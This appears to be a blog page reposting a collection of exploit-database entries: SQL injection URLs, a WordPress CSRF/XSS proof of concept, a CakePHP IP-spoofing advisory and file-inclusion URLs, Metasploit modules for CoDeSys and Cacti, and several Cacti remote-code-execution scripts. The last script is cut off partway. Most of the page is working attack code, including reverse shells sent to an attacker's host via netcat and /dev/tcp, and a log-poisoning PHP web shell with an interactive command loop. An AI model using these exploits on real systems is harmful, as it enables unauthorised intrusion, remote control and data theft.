Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863129457

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# # # # #
# Exploit Title: Calendar v2.0 for ASPRunnerPro/PHPRunner/ASPRunner.NET. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/templates/calendar/index.htm
# Demo: https://xlinesoft.com/livedemo/calendar/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/caldaily_view.php?editid1=[SQL]
# # # # #
            
# Exploit Title: Calendar Event Multi View  1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS)
# Date: 2022-05-25
# Exploit Author: Mostafa Farzaneh
# WPScan page:
https://wpscan.com/vulnerability/95f92062-08ce-478a-a2bc-6d026adf657c
# Vendor Homepage: https://wordpress.org/plugins/cp-multi-view-calendar/
# Software Link:
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.4.06.zip
# Version:   1.4.06
# Tested on: Linux
# CVE : CVE-2022-2846
# Description:
The Calendar Event Multi View WordPress plugin before 1.4.07 does not have
any authorisation and CSRF checks in place when creating an event, and is
also lacking sanitisation as well as escaping in some of the event fields.
This could allow unauthenticated attackers to create arbitrary events and
put Cross-Site Scripting payloads in it.

#POC and exploit code:
As an unauthenticated user, to add a malicious event (on October 6th, 2022)
to the calendar with ID 1, open the code below

<html>
  <body>
    <form action="
https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails"
method="POST">
      <input type="hidden" name="Subject"
value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="colorvalue" value="#f00" />
      <input type="hidden" name="rrule" value="" />
      <input type="hidden" name="rruleType" value="" />
      <input type="hidden" name="stpartdate" value="10/6/2022" />
      <input type="hidden" name="stparttime" value="00:00" />
      <input type="hidden" name="etpartdate" value="10/6/2022" />
      <input type="hidden" name="etparttime" value="00:00" />
      <input type="hidden" name="stpartdatelast" value="10/6/2022" />
      <input type="hidden" name="etpartdatelast" value="10/6/2022" />
      <input type="hidden" name="stparttimelast" value="" />
      <input type="hidden" name="etparttimelast" value="" />
      <input type="hidden" name="IsAllDayEvent" value="1" />
      <input type="hidden" name="Location" value="CSRF" />
      <input type="hidden" name="Description" value='<p style="text-align:
left;">CSRF</p>' />
      <input type="hidden" name="timezone" value="4.5" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered when viewing the related event
            
source: https://www.securityfocus.com/bid/67256/info
 
Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/costview2/printers.php?id_onglet=0&tr=0+union+select+0x3020756E696F6E2073656C656374206E756C6C2C404076657273696F6E2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C,null,null,0,null&deb=0 
            
source: https://www.securityfocus.com/bid/67256/info

Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/costview2/jobs.php?tr=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,pass_adm,14,15,16+from+cost_admin 
            
# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
# Date: 2020-07-20
# Author: Felipe Winsnes
# Software Link: https://www.exploit-db.com/apps/463c9e7fe9a39888d3c01bc9ad756bba-UpSetup.exe
# Version: 3.5
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/

# Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and 
# yet the vulnerability is triggered with additional padding == can't use addresses with null values.

# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt".
# 2.- Copy the content of the new file 'poc.txt' to clipboard.
# 3.- Open the Application.
# 4.- Click on "Settings".
# 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences".
# 5.- Crashed.
# 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file.

# If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat.

buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000

try:
    f = open ("poc.txt", "w")
    f.write(buffer)
    f.close()
    print "[+] The file has been created successfully!"

except:
    print "[!] There has been an error while creating the file."
            
=============================================
- Release date: 12.05.2016
- Discovered by: Dawid Golunski
- Severity: Medium
=============================================

 
I. VULNERABILITY
-------------------------

CakePHP Framework  <= 3.2.4      IP Spoofing Vulnerability
		      3.1.11
		      2.8.1
		      2.7.10
		      2.6.12
 
II. BACKGROUND
-------------------------

- CakePHP Framework

http://cakephp.org/

"CakePHP makes building web applications simpler, faster and require less code. 

CakePHP is a modern PHP 5.4+ framework with a flexible Database access layer 
and a powerful scaffolding system that makes building both small and complex 
systems a breeze. "

 
III. INTRODUCTION
-------------------------

CakePHP Framework contains a vulnerability that allows to spoof the source IP 
address. This can allow to bypass access control lists, or injection of 
malicious data which, if treated as sanitized by an unaware CakePHP-based 
application, can lead to other vulnerabilities such as SQL injection, XSS, 
command injection etc.


IV. DESCRIPTION
-------------------------
 
Both branches of CakePHP Framework (2.x, 3.x) contain a clientIp() method that
allows to obtain the IP address of a client accessing a CakePHP-based 
application. The is slightly different in each branch:

CakePHP 2.x:

------[ Cake/Network/CakeRequest.php ]------

        public function clientIp($safe = true) {
                if (!$safe && env('HTTP_X_FORWARDED_FOR')) {
                        $ipaddr = preg_replace('/(?:,.*)/', '', env('HTTP_X_FORWARDED_FOR'));
                } else {
                        if (env('HTTP_CLIENT_IP')) {
                                $ipaddr = env('HTTP_CLIENT_IP');
                        } else {
                                $ipaddr = env('REMOTE_ADDR');
                        }
                }

                if (env('HTTP_CLIENTADDRESS')) {
                        $tmpipaddr = env('HTTP_CLIENTADDRESS');

                        if (!empty($tmpipaddr)) {
                                $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
                        }
                }
                return trim($ipaddr);
        }

--------------------------------------------


CakePHP 3.x:

------[ cakephp/src/Network/Request.php ]------

    /**
     * Get the IP the client is using, or says they are using.
     *
     * @return string The client IP.
     */
    public function clientIp()
    {
        if ($this->trustProxy && $this->env('HTTP_X_FORWARDED_FOR')) {
            $ipaddr = preg_replace('/(?:,.*)/', '', $this->env('HTTP_X_FORWARDED_FOR'));
        } else {
            if ($this->env('HTTP_CLIENT_IP')) {
                $ipaddr = $this->env('HTTP_CLIENT_IP');
            } else {
                $ipaddr = $this->env('REMOTE_ADDR');
            }
        }

        if ($this->env('HTTP_CLIENTADDRESS')) {
            $tmpipaddr = $this->env('HTTP_CLIENTADDRESS');

            if (!empty($tmpipaddr)) {
                $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
            }
        }
        return trim($ipaddr);
    }

--------------------------------------------


Both of the methods contain the same vulnerability. Despite the safe flag 
(CakePHP 2.x), and trustyProxy flag (CakePHP 3.x) set to off by default, they 
both use HTTP_CLIENT_IP request header (if it exists) instead of the 
REMOTE_ADDR variable set by the web server. 

The HTTP_CLIENT_IP header can easily be spoofed by sending CLIENT-IP header
in a HTTP request. 

 
V. PROOF OF CONCEPT EXPLOIT
-------------------------
 

A) Simple PoC

Download a vulnerable version of CakePHP framework and edit 
src/Template/Pages/home.ctp to include the PoC code below
which echoes the visitor's IP using the clientIp() method:


-------[ src/Template/Pages/home.ctp ]--------

<?php

[...]

use Cake\Cache\Cache;
use Cake\Core\Configure;
use Cake\Datasource\ConnectionManager;
use Cake\Error\Debugger;
use Cake\Network\Exception\NotFoundException;

$this->layout = false;

if (!Configure::read('debug')):
    throw new NotFoundException();
endif;

$cakeDescription = 'CakePHP: the rapid development php framework';

echo "PoC \n<br> Your IP is: [". $this->request->clientIp() ."]\n\n<br><br>";

[...]

?>

----------------------------------------------


If we send the following request with CLIENT-IP header containing an arbitrary
IP and malicious XSS data:


GET /cake/cake3/ HTTP/1.1
Host: centos
CLIENT-IP: 100.200.300.400 <script>alert('poc');</script>
Content-Length: 2


the application will give the following response:


HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

PoC 
<br> Your IP is: [100.200.300.400 <script>alert('poc');</script>]

[...]


As we can see the clientIp() method returns the fake IP and XSS payload
from CLIENT-IP header.


B) Croogo CMS exploit

An example application vulnerable to this bug is Croogo CMS:

https://croogo.org/

"Croogo is a free, open source, content management system for PHP,
released under The MIT License. It is powered by CakePHP MVC framework.
It was first released on October 07, 2009"

In one of its scripts we can find the isWhitelistedRequest() which
takes care of ACLs:


-------[ Vendor/croogo/croogo/Croogo/Lib/CroogoRouter.php ]--------


/**
 * Check wether request is from a whitelisted IP address
 *
 * @see CakeRequest::addDetector()
 * @param $request CakeRequest Request object
 * @return boolean True when request is from a whitelisted IP Address
 */
        public static function isWhitelistedRequest(CakeRequest $request) {
                if (!$request) {
                        return false;
                }
                $clientIp = $request->clientIp();
                $whitelist = array_map(
                        'trim',
                        (array)explode(',', Configure::read('Site.ipWhitelist'))
                );
                return in_array($clientIp, $whitelist);
        }

-------------------------------------------------------------------

As we can see, it uses the affected clientIp() function from CakePHP framework.


VI. BUSINESS IMPACT
-------------------------

This vulnerability could be used to bypass access control lists to get
access to sensitive data, or lead to higher severity vulnerabilities
if untrusted data returned by clientIp() method is treated as safe and used
without appropriate sanitization within SQL queries, system command calls etc.
 
VII. SYSTEMS AFFECTED
-------------------------

According to the vendor, the following versions of CakePHP framework should be
affected by this issue.

3.1.11
3.2.4
2.8.1
2.7.10
2.6.12

 
VIII. SOLUTION
-------------------------

The vendor has released patched versions.
Install the latest version from the link below.
 
IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/CakePHP-IP-Spoofing-Vulnerability.txt

Vendor security CakePHP releases:
http://bakery.cakephp.org/2016/03/13/cakephp_2613_2711_282_3017_3112_325_released.html

http://book.cakephp.org/3.0/en/controllers/request-response.html#working-with-http-methods-headers


X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XI. REVISION HISTORY
-------------------------

12.05.2016 - Final advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
            
source: https://www.securityfocus.com/bid/61746/info

CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.

CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected. 

http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd

http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd 
            
# Exploit Title: Cain & Abel 4.9.56 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 2022-02-08
# Software Link: https://www.malavida.com/en/soft/cain-and-abel
# Version: 4.9.56
# Tested on: Windows 10 x64

# PoC

SERVICE_NAME: Abel
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Cain\Abel64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Abel
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#   http://metasploit.com
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability that allows arbitrary
        file creation, which can be used to execute a mof file in order to gain remote
        execution within the SCADA system.
      },
      'Author'         =>
        [
          'Enrique Sanchez <esanchez[at]accuvant.com>'
        ],
      'License'        => 'MSF_LICENSE',
      'References'     =>
        [
          ['CVE', '2012-4705'],
          ['OSVDB', '90368'],
          ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
        ],
      'DisclosureDate' => 'Feb 02 2013',
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
        ],
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(1211),
      ], self.class)
  end

  ##
  # upload_file(remote_filepath, remote_filename, local_filedata)
  #
  # remote_filepath: Remote filepath where the file will be uploaded
  # remote_filename: Remote name of the file to be executed ie. boot.ini
  # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
  def upload_file(remote_filepath, remote_filename, local_filedata = null)
    magic_code = "\xdd\xdd"
    opcode = [6].pack('L')

    # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
    file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
    pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4

    # Magic_code  + packing + size
    pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')

    tmp_pkt = opcode << file
    tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
    pkt << tmp_pkt

    print_status("Starting upload of file #{remote_filename}")
    connect
    sock.put(pkt)
    disconnect

    print_status("File uploaded")
  end

  def exploit
    print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")

    # We create an exe payload, we have to get remote execution in 2 steps
    exe = generate_payload_exe
    exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
    upload_file("windows\\system32\\", exe_name, exe)

    # We create the mof file and upload (second step)
    mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
    mof = generate_mof(mof_name, exe_name)
    upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)

    print_status("Everything is ready, waiting for a session ... ")
    handler

    #Taken from the spooler exploit writen byt jduck and HDMoore
    cnt = 1
    while session_created? == false and cnt < 25
      ::IO.select(nil, nil, nil, 0.25)
      cnt += 1
    end
  end
end
            
# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Date: 2020-02-29
# Exploit Author: Lucas Amorim (sh286)s
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: Linux
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Cacti v1.2.8 Unauthenticated Remote Code Execution',
      'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to 
        execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has 
        the graph real-time privilege.},
      'Author' =>
        [
          'Lucas Amorim ' # MSF module
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'php',
      'References' =>
        [
          ['CVE', '2020-8813']
        ],
      'DisclosureDate' => 'Feb 21 2020',
      'Privileged' => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp',
        'SSL' => true,
      },
      'Targets' => [
        ['Automatic', {}]
      ],
      'DefaultTarget'   => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('RPATH', [ false, "path to cacti", "" ])
        ])

        deregister_options('VHOST')
  end

  def check
    res = send_request_raw(
      'method' => 'GET',
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init"
    )

    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def send_payload()
    exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']])
    send_request_raw(
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init",
      'method' => 'GET',
      'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}"
    )
  end

  def exploit
    if check == Exploit::CheckCode::Vulnerable
      print_good("Target seems to be a vulnerable")
      send_payload()
    else
      print_error("Target does not seem to be vulnerable. Will exit now...")
    end
  end
end
            
# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)
# Exploit Author: Riadh BOUCHAHOUA
# Discovery Date: 2022-12-08 
# Vendor Homepage: https://www.cacti.net/
# Software Links : https://github.com/Cacti/cacti
# Tested Version: 1.2.2x <= 1.2.22
# CVE: CVE-2022-46169
# Tested on OS: Debian 10/11

#!/usr/bin/env python3
import random
import httpx, urllib

class Exploit:
    def __init__(self, url, proxy=None, rs_host="",rs_port=""):
        self.url = url 
        self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)
        self.rs_host = rs_host
        self.rs_port = rs_port

    def exploit(self):
        # cacti local ip from the url for the X-Forwarded-For header
        local_cacti_ip  = self.url.split("//")[1].split("/")[0]
    
        headers = {
            'X-Forwarded-For': f'{local_cacti_ip}'
        }
        
        revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"
        import base64
        b64_revshell = base64.b64encode(revshell.encode()).decode()
        payload = f";echo {b64_revshell} | base64 -d | bash -"
        payload = urllib.parse.quote(payload)
        urls = []
        
        # Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)
        for host_id in range(1,100):
            for local_data_ids in range(1,100):
                urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")
                
        for url in urls:
            r = self.session.get(url,headers=headers)
            print(f"{r.status_code} - {r.text}" )
        pass

    def random_user_agent(self):
        ua_list = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
        ]
        return random.choice(ua_list)

def parse_args():
    import argparse
    
    argparser = argparse.ArgumentParser()
    argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")
    argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)
    argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)
    return argparser.parse_args()

def main() -> None:
    # Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL 
    args = parse_args()
    e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)
    e.exploit()

if __name__ == "__main__":
    main()
            
#!/bin/sh
##############
# Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection
# Date: 19/12/2014
# Exploit Author: Wireghoul
# Software Link: http://docs.cacti.net/plugin:superlinks
# Identifiers: CVE-2014-4644, EDB-ID-33809
# Exploit explanation through inline comments
# Patch provided at the end
#
# This is the year where hope fails you -- Slipknot: Pulse of the maggots
#
##############

echo -e "\e[32m            *-*,      \e[31m      ___________"
echo -e "\e[32m        ,*\/|\`| ;    \e[31m      /.'_______\`.\\"
echo -e "\e[32m        \\'  | |'; *, \e[31m     /( (_______\`-'\\"
echo -e "\e[32m         \ \`| | ;/ ) \e[31m     \`.\`.______  \.'"
echo -e "\e[32m          : |'| , /   \e[31m      \`..-.___>.'"
echo -e "\e[32m          :'| |, /    \e[31m        \`.__ .'\e[0m"
echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___"
echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"
echo
if [ -z $1 ]; then
  echo -e "Usage $0 <superpluginurl>\n $0 http://example.com/cacti/plugins/superlinks/superlinks.php\n";
  exit 2;
fi

# This exploit is a second order LFI through SQLI, so first we must write some data to disk
# Luckily the application logs all sort of stuff, so lets poison the application log
# The reason for this is manyfold, read on.
curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null

# Now lets analyse the vulnerability:
# superlinks.php:21:if (isset($_GET['id'])) {
# superlinks.php:22:      $pageid=$_GET['id'];
# superlinks.php:23:}
# superlinks.php:24:
# superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT
# superlinks.php:26:      id,
# superlinks.php:27:      title,
# superlinks.php:28:      style,
# superlinks.php:29:      contentfile
# superlinks.php:30:      FROM (superlinks_pages, superlinks_auth)
# superlinks.php:31:      WHERE superlinks_pages.id=superlinks_auth.pageid
# superlinks.php:32:      AND id=" . $pageid . "
# This is where the injection occurs, we can now union select 1,2,3,4 -- ftw
# However the real fun occurs a few lines later
# superlinks.php:57:              $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile'];
# superlinks.php:58:
# superlinks.php:59:              if (file_exists($my_file)) {
# superlinks.php:60:                      @include_once($my_file);
# We can now include a file of our choosing (LFI) based on the data returned from the SQLi
# There are only a few problems:
# * We cannot use strings/quotes as magic quotes are usually on
# * We do not know the local path for the LFI
# * Usual tricks like /proc/self* have been patched
# * Database server and web server may be different hosts
# Lets solve the easy one first, we dont need to quote our strings, hex encoding works great
# The second one is a little trickier, we can brute force LFI locations... or
# We can dynamically locate a file path which is stored in the database and present on the webserver
# $ mysqldump cacti | grep '\.log'
# INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password','');
# $ ls -la /var/log/cacti/cacti.log
# -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log
# $ tail /var/log/cacti/cati.log
# <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT    graph_templates.id,    graph_templates.name    FROM (graph_local,graph_templates,graph_templates_graph)    WHERE graph_local.id=graph_templates_graph.local_graph_id    AND graph_templates_graph.graph_template_id=graph_templates.id    AND graph_local.host_id=1    AND graph_templates.id=12 select 1,2,3,4 --    GROUP BY graph_templates.id    ORDER BY graph_templates.name"
# WINRAR!

# We can now include the poisoned log file by fetching the log path from the database
# and prepending it with the normal directory traversal pattern ../../../ using concat()
# We traverse 8 deep, that's usually enough
echo -ne "Dropping into shell, type exit to quit.\ncactishell> "
while read line; do
if [ "$line" == "exit" ]; then
    exit
fi
comand=`echo -n $line | sed -e's/ /+/g'`
curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \
sed -n '/SHELL/, $p' | \
sed -e 's/.*SHELL//' |\
sed '/LLEHS/, $d'
echo -n "cactishell> "
done

# Proposed patch
# Vendor has a patch in a SVN repo somewhere:
# http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475
# Yet has not made the patch available, or responded to requests to do so:
# http://forums.cacti.net/viewtopic.php?t=53711
#--- superlinks.php    2014-12-18 02:05:37.706013833 -0500
#+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500
#@@ -19,7 +19,7 @@
#
# $pageid = 0;
# if (isset($_GET['id'])) { 
#-   $pageid=intval($_GET['id']);
#+   $pageid=$_GET['id']; 
# }
#
# $page = db_fetch_row("SELECT DISTINCT
            
#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 4:
    print("[~] Usage : ./Cacti-exploit.py url ip port")
    exit()

url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]

def send_exploit(url):
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    path = url+"/graph_realtime.php?action=init"
    req = requests.get(path)
    if req.status_code == 200 and "poller_realtime.php" in req.text:
        print("[+] File Found and Guest is enabled!")
        print("[+] Sending malicous request, check your nc ;)")
        requests.get(path, cookies=cookies)
    else:
        print("[+] Error while requesting the file!")

send_exploit(url)
            
# Exploit Title: Cacti 1.2.8 - Remote Code Execution
# Date: 2020-02-03
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

#!/usr/bin/python3

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')


if len(sys.argv) !=3D 6:
    print("[~] Usage : ./Cacti-exploit.py url username password ip port")
    exit()

url =3D sys.argv[1]
username =3D sys.argv[2]
password =3D sys.argv[3]
ip =3D sys.argv[4]
port =3D sys.argv[5]

def login(token):
    login_info =3D {
    "login_username": username,
    "login_password": password,
    "action": "login",
    "__csrf_magic": token
    }
    login_request =3D request.post(url+"/index.php", login_info)
    login_text =3D login_request.text
    if "Invalid User Name/Password Please Retype" in login_text:
        return False
    else:
        return True

def enable_guest(token):
    request_info =3D {
    "id": "3",
    "section25": "on",
    "section7": "on",
    "tab": "realms",
    "save_component_realm_perms": 1,
    "action": "save",
    "__csrf_magic": token
    }
    enable_request =3D request.post(url+"/user_admin.php?header=3Dfalse", r=
equest_info)
    if enable_request:
        return True
    else:
        return False

def send_exploit():
    payload =3D ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies =3D {'Cacti': quote(payload)}
    requests.get(url+"/graph_realtime.php?action=3Dinit", cookies=3Dcookies=
)

request =3D requests.session()
print("[+]Retrieving login CSRF token")
page =3D request.get(url+"/index.php")
html_content =3D page.text
soup =3D BeautifulSoup(html_content, "html5lib")
token =3D soup.findAll('input')[0].get("value")
if token:
    print("[+]Token Found : %s" % token)
    print("[+]Sending creds ..")
    login_status =3D login(token)
    if login_status:
        print("[+]Successfully LoggedIn")
        print("[+]Retrieving CSRF token ..")
        page =3D request.get(url+"/user_admin.php?action=3Duser_edit&id=3D3=
&tab=3Drealms")
        html_content =3D page.text
        soup =3D BeautifulSoup(html_content, "html5lib")
        token =3D soup.findAll('input')[1].get("value")
        if token:
            print("[+]Making some noise ..")
            guest_realtime =3D enable_guest(token)
            if guest_realtime:
                print("[+]Sending malicous request, check your nc ;)")
                send_exploit()
            else:
                print("[-]Error while activating the malicous account")

        else:
            print("[-] Unable to retrieve CSRF token from admin page!")
            exit()

    else:
        print("[-]Cannot Login!")
else:
    print("[-] Unable to retrieve CSRF token!")
    exit()
            
#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./Cacti-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

def login(token):
    login_info = {
